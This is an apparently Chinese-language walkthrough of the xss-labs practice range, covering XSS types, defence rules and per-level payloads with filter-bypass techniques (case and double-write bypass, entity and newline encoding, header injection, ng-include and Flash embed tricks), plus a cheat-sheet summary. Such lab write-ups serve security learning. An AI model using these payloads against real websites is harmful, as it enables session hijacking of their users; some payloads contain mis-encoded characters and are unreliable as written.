目录
一、跨站脚本攻击(XSS)
1.1 漏洞简介
1.2:类型
1.3 XSS危害
1.4XSS防御规则
二、环境搭建
三、xsst通关记录
Level 1:文本解析为 HTML
Level 2:htmlspecialchars;input 标签 value 注入
定义和用法
字符过滤绕过
Level 3:
level 4:双引号闭合+添加事件
level 5:新建标签
level 6:大小写绕过
level 7 双写绕过
level 8 编码绕过
level 9 检测关键字
level 10 隐藏信息
level 11 Referer信息
level 12 user-agent信息
level 14
level 15(ng-include包含)
level 16 空格实体转义
level-17(参数拼接)
level-18(参数拼接)
level-19(Flash XSS)
level-20(Flash XSS)
四.总结:
几种注入方式
on事件属于点击触发事件
收集信息的方法
xss常见注入点
参考
一、跨站脚本攻击(XSS)
1.1 漏洞简介
XSS又叫CSS(Cross Site Script)跨站脚本攻击,是指恶意攻击者往web页面中插入恶意代码,当用户浏览该网页时,嵌入其中的恶意代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击。
XSS最大的特点就是能注入恶意的HTML/JavaScript代码到用户浏览的网页上,从而达到劫持用户会话的目的。由于HTML代码和客户端JavaScript脚本能在受害者主机上的浏览器任意执行,这样等同于完全控制了Web客户端的逻辑,在这个基础上,黑客或攻击者可以轻易地发动各种各样的攻击。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export。
1.2:类型
从攻击代码的工作方式可以分为三个类型:
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
1.3 XSS危害
(1)盗取管理员cookie
窃取用户的cookie非法登录,使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
(2)网站挂马。
先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
(3)发送广告或者垃圾信息
攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。
1.4XSS防御规则
- – 不要在允许位置插入不可信数据
- – 在向HTML元素内容插入不可信数据前对HTML解码
- – 在向HTML常见属性插入不可信数据前进行属性解码
- – 在向HTML JavaScript Data Values插入不可信数据前,进行JavaScript解码
- – 在向HTML 样式属性值插入不可信数据前,进行CSS解码
- - 在向HTML URL属性插入不可信数据前,进行URL解码
二、环境搭建
xss-labsxss-labsxss-labs 是一套基于 PHP 的 XSS 靶场,以闯关的形式让我们体验各种 XSS 漏洞利用方式。虽然已经是很多年前的了,但其中基本的 XSS 漏洞依然很有意义。
一共有 20 关,每一关的目标都是实现弹窗(alert(1)
),如果成功就会自动进入下一关。
克隆这个代码仓库的代码,其中是 xss-labs 的 PHP 源文件。只要放在 PHP 环境下即可.本机使用phpstudy_pro,将将文件放在phpstudy_pro下的www文件里边就欧克了。
部署完成后,访问 index.php,就可以看到入口了:
三、xsst通关记录
Level 1:文本解析为 HTML
URL 为 level1.php?name=test
时,传入的参数是 test,显示的是「欢迎用户 test」。显然,这个页面会将我们传入的名字显示出来。
我们打开开发者工具(F12)
这里name=test,放到了<h2>这个标签里,前端是可以执行JS代码的,我们执行如下代码
http://127.0.0.1/xsslabs/level1.php?name=<script>alert(1)</script>
Level 2:htmlspecialchars;
input 标签 value 注入
定义和用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体编码。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
这关多了一个文本框。如果依然尝试传入 <script>alert(1)</script>
,会发现在 h2 元素中符号被转义了(查看网页源代码能看到),<h2>⁢script>alert(1)</script;></h2>,所以不会被解析成 HTML。
页面上能够正常显示是htmlspecialchars()给转换为HTML实体编码后HTML又给解析为正常显示。
然而,可以看到后面的文本框 input
元素,其 value 值并没有被转义。
<input name=keyword value="<script>alert(1)</script>">
既然如此,我们可以闭合 value 的内容的后引号,然后闭合这个 input 标签,接下来再加入我们想要注入的 <script>alert(1);</script>
。只需要在其之前加上 ">
即可。
Level 3:字符过滤绕过
这一关的代码好像和第二关有点像,我们输入上一个看一下行不行
这里没有逃逸出来,这一招好像不管用了?
这是因为用的单引号闭合🤣既然单引号不会被转义,我们可以闭合 value 这个字符串。
但是,<>
都会被转义,似乎不能闭合这个标签。有什么办法能够不用 <script>
标签来注入 JavaScript 代码呢?答案是使用触发器,比如 onfocus
或者 onclick
。
可以看到这样就逃逸出来了,然后我们随便找个js代码就可以通关了。
level 4:双引号闭合+添加事件
第一处<
和>
被实体转码
第二处地方<
和>
被替换成空
同样使用上一关方法:通过<input>标签的一些特殊事件来执行js代码
payload " onclick=alert(12) //
左边的">去闭合原先的"
level 5:新建标签
虽然input被闭合了,但是script和on被过滤掉
现在on和script都被过滤掉了,那就用一个不含on和script的标签来执行
level 6:大小写绕过
这里和上一关一样,script被过滤,
虽然input被闭合了,但是被关键字过滤就很难受;不行了那就试一下大小写
很明显成功了。。。换一个试一下也是可以的
level 7 双写绕过
1.<script>alert(‘xss’)</script>
2."οnfοcus=javascript:alert('xss')"
3.?keyword="> <a href=javascript:alert('xss') > xss</a> //
4. " οnclick=alert(12) //
尝试之后都是被过滤,就很难受,大小写在这也不灵了,那还有什么办法?
他过滤一个script,那我写一个这个呢?oonnclick,试一下
level 8 编码绕过
可以看到这里有被过滤,那就想办法绕过就行了么
之前使用过的方法都试了一遍还是不行,只能另找思路:
这里将javascript:alert(1)转换为实体编码试一下
这是转换之后的编码javascript:alert(1)
可以看到当添加了友情链接之后a标签里的连接直接转换成我们想要的东西,这就欧克了。
level 9 检测关键字
可以看到不管你写啥都是链接不合法,这是咋回事?那我写个合法的:比如https://baidu.com,这合适的吧;
还不合法,那我试一下http
这一下就合适了,看来是要加http呀,那我加上再看
又被过滤,那我转一下码(javascript:alert(1)http://)
javascript:alert(1)//http://
备注:后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。
level 10 隐藏信息
我们看到第十关没有输入框了所以我们在url栏里输入
没有用;而且下边我们看不到有传进来值,我猜测应该是被隐藏起来了,但是有3个input,试着给这三个分别传一个值看一下
?t_link=qqqq&t_history=wwwww&t_sort=eeee
这里传进来了,那好像就有思路了
我的<>又被过滤了,那就换一个试一下
这里好像是好了,但是我的onclick没有显示,那没地方点啊,所以给后边再加点东西
欧克,下一关
level 11 Referer信息
和上一关有点像,先试一下之前的办法
?t_link=qqq&t_history=www&t_sort=eee&t_ref=rrr
发现t_sort传进来值了,那不就简单了
这双引号没有闭合,没能逃逸出来,这个办法不行。那就在找找,回过头来仔细一看,刚开始咱们的t_ref里边是有值的啊,而且是咱们上一关的url,
那这个咱们能利用吗?猜测ref又可能是http头中的referer属性
抓包尝试修改一下
传个值试一下
这里将值真的传进来了,那就试一下这个
referer:111" onclick ='javascript:alert(1)'// type=button
欧克了就
level 12 user-agent信息
到了t_ua这样一个标签,并且其中的value属性的值怎么看起来那么
像抓取数据包中User-Agent头的值?!
抓包尝试修改
发现双引号没有被过滤,我们尝试闭合引号构造事件弹窗
" onclick ='javascript:alert(1)'// type=button
level 13 cookie信息
还是四个隐藏框
t_cook可能是cookie
抓包仍然是相同的方式
发现双引号没有被过滤,我们尝试闭合引号构造事件弹窗
level 14
自动跳转到那个网址,但是失效了
level-14参考文章
level 15(ng-include包含)
后台源码:
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
观察源码发现短短的几行,实体转义了src的值
使用了ng-include这个表达式的意思是当HTML代码过于复杂时,可以将部分代码打包成独立文件,在使用ng-include来引用这个独立的HTML文件。
ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页。因为默认情况下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,我们看看源代码,果然有ng-include,并且对其输入做了过滤,所以我们可以包含一个有漏洞的页面
定义和用法
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
引用文件名要加单引号 即 ng-include=" 'index.html' "
所以可构造以下payload
去包含其他关卡的漏洞:
http://127.0.0.1/xsslabs/level15/.php?src='level1.php?name=<img src=1 οnerrοr=javascript:alert(1)>'
level 16 空格实体转义
源代码:
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
通过源码发现,过滤了script,/,空格等(替换空格,script,/,再次替换空格)在html中是可以将%0a和%0d作为空格使用的
因为尖括号没被过滤掉,所以我们就用<a>
标签,因此我们构造语句
可对script进行个拆分
payload:
/level16.php?keyword=<a%0dhref='javas%0acript:alert(1)'>xss
level-17(参数拼接)
查看源代码:
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
通过代码发现,本关卡有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容易想到这里会不会就是突破口,发现这两个参数是在embed上,embed标签定义嵌入的内容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。(发现其两个变量使用=符号拼接的形式被加入到<embed>标签中,该标签用于一些插件如flash等的插入,那这就是一个突破口)
HTML embed src 属性 | 菜鸟教程
输入点在url中,过滤了尖括号和双引号,用on事件触发。
常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。
使用on事件,但是没有反应,后来发现是浏览器中不支持flash
payload:
/level17.php?arg01=a&arg02=b οnmοuseοver=javascript:alert(1)
或
/level17.php?arg01=a&arg02=b 666 οnmοuseοver=javascript:alert(1)
onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用
火狐不支持flash(火狐浏览器中,发现该组件根本不显示,完全不给我们事件触发的机会,无法利用了),尝试没有反应,切换浏览器,在edge上试一下
level-18(参数拼接)
这个和上一关有点像,我们看一下源代码
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
通过代码发现,和上一关基本差不多,我们继续使用上一关的代码进行测试,看是否弹窗
payload:
/level18.php?arg01=a&arg02=b οnmοuseοver=alert(1)
或
/level18.php?arg01=a&arg02=b 8888 οnmοuseοver=alert(1)
level-19(Flash XSS)
后台源码:
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
这关是flash xss,涉及到反编译,暂时搞不懂
payload:
?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
level-20(Flash XSS)
后台源码:
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
观察源码发现,和上面19关差不多,就是插件不同。
payload:
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height
四.总结:
几种注入方式
- ?keyword=<script>alert('xss')</script>
- ?keyword='οnfοcus=javascript:alert('xss') >
- 当某些字符串被删掉时,用双写绕过
- ?keyword="oonnfocus=javascrscriptipt:alert('xss') "
- ?keyword="> <a href=javascript:alert('xss') > xss</a>
- src错的话,触发onerror,然后处理alert
- ?name=<img src=111 οnerrοr=alert('xss')
- http前面必须要//,将后面的注释掉
- ?keyword=javascript:alert('xss')//http://www.baidu.com
- ?t_sort=" type="text" οnclick="alert('xss')
- 不需要闭合的标签`img`
- ?keyword=<img%0Dsrc=1%0Dοnerrοr=alert('xss')>
- b后面有空格,后面就相当于一个新的属性
- ?arg01=a&arg02=b οnmοuseοver=alert(‘xss’)
on事件属于点击触发事件
绕过的方法
1.img标签src出错时用onerror注入
2.将a标签闭合,用script标签进行注入
3.用onmoseover等焦事件可以实现绕过执行脚本,焦事件可以用到input标签,a标签中的href属性,img标签等标签处。
4.可以尝试将代码进行unicode编码等浏览器可以解析的编码方式进行注入
5.可用转义序列实现绕过,转义序列是SGML类语言如xml、html中的中的一个设定,标志就是在一个数字前有 ”&#“ 这个字符后面可以跟十进制数或十六精进制,在构造语句时可以使用这种方法,从而实现绕过。
6.不只是转义序列,当你碰到删除空格的过滤时可以常识使用url编码,用%0a换行
收集信息的方法
<1>查看网页源码,留意源码中常见存在注入的语句,并留意可以向服务器传递的参数
<2>向服务器传递参数,并判断,哪些参数被用到了网页上,并且初步记录
<3>将用了传递参数的语句总结出来之后,将常见存在注入的语句挑出,并且对它们的闭合方式进行记录
<4>对初步记录进行分析,并总结结论,结论的标准是
我要在哪些语句上用哪些xss绕过方法进行注入
xss常见注入点
1.<input>
2.<script>
3.<embed>等
这些标签都有一个特点就是都有src属性,如果网页可以发送form表单且其中的参数被用在了这些标签的属性中,那么我们注意闭合之后,加入onerror、onmouseover、onclick、onfocus等焦点之后触发脚本内容。
4.<h1>、<h2>、<h3>、<h4>、<h5>、<h6>
5.<div>等
这些标签的特点是只有对网页显示的编辑功能,或者说有分割网页源码文本的功能,如果网页传回去的参数有被用于这些标签的参数,我们可以将完整的dom节点传进去,因为一般这些标签都有包含的功能。
参考
以xss-labs举例反射型xss注入的方式及基本思路_span标签xss-CSDN博客https://blog.csdn.net/m0_53061933/article/details/114755460nj.rs---Tiny XSS Payloads